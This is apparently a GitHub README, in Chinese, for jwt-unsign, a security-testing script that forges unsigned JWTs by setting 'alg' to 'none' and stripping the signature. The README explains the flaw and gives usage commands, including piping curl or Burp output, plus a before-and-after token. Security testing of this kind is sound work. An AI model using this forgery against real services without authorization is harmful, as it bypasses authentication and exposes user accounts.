thomasleplus/jwt-utils
GitHub: thomasleplus/jwt-utils
一组用于安全测试的 JWT 实用工具,核心功能是通过利用 "none" 算法漏洞将已签名的 JWT 转换为无签名令牌。
Stars: 6 | Forks: 3
# JWT 工具
一个用于处理 JSON Web Token (JWT) 的实用工具集合,主要侧重于安全测试和漏洞评估。
## 工具
### [jwt-unsign](jwt-unsign)
一个 Bash 脚本,通过修改输入流中发现的 JWT 来利用 JWT 的 "none" 算法漏洞。
#### 功能说明
- 在 stdin 中搜索 JSON Web Token
- 将算法 (`alg`) 值替换为 `"none"`
- 移除签名部分
- 输出修改后的未签名 JWT
#### 漏洞说明
某些 JWT 实现接受将 `alg` 设置为 `"none"` 的 token,这意味着该 token 没有签名验证。这允许攻击者通过以下方式伪造 token:
1. 获取一个有效的 JWT
2. 修改 payload (claims)
3. 将算法设置为 "none"
4. 移除签名
如果应用程序没有正确验证是否需要签名,它将接受伪造的 token。
#### 安装
```
# 克隆仓库
git clone https://github.com/yourusername/jwt-utils.git
cd jwt-utils
# 使脚本可执行
chmod +x jwt-unsign
# 可选:添加到你的 PATH
sudo ln -s $(pwd)/jwt-unsign /usr/local/bin/jwt-unsign
```
#### 用法
```
# 基本用法 - 管道传输包含 JWTs 的文本
echo "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" | jwt-unsign
# 处理包含 JWTs 的文件
cat response.txt | jwt-unsign
# 配合 curl 使用以测试 web applications
curl https://api.example.com/user | jwt-unsign
# 配合 burp suite 或其他 proxy tools 使用
cat burp-output.txt | jwt-unsign > modified.txt
```
#### 示例
输入:
```
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
```
输出:
```
token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
```
修改后的 token 具有:
- Header 从 `{"alg":"HS256","typ":"JWT"}` 变为 `{"alg":"none","typ":"JWT"}`
- Payload 保持不变:`{"sub":"1234567890","name":"John Doe","iat":1516239022}`
- 签名被移除(注意尾部的句点)
#### 安全提示
此工具仅供**授权的安全测试使用**。请负责任地仅在以下情况使用:
- 您拥有的系统
- 您获得明确书面授权进行测试的系统
- CTF (Capture The Flag) 竞赛
- 教育/学习环境
未经授权访问计算机系统是非法的。
## 许可证
有关许可证信息,请参阅 [LICENSE](LICENSE)。
## 安全
有关报告安全漏洞的信息,请参阅 [SECURITY.md](SECURITY.md)。
## 行为准则
请阅读 [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) 以了解我们的行为准则详情。
标签:JWT, Web安全, 安全测试, 应用安全, 攻击性安全, 文档结构分析, 蓝队分析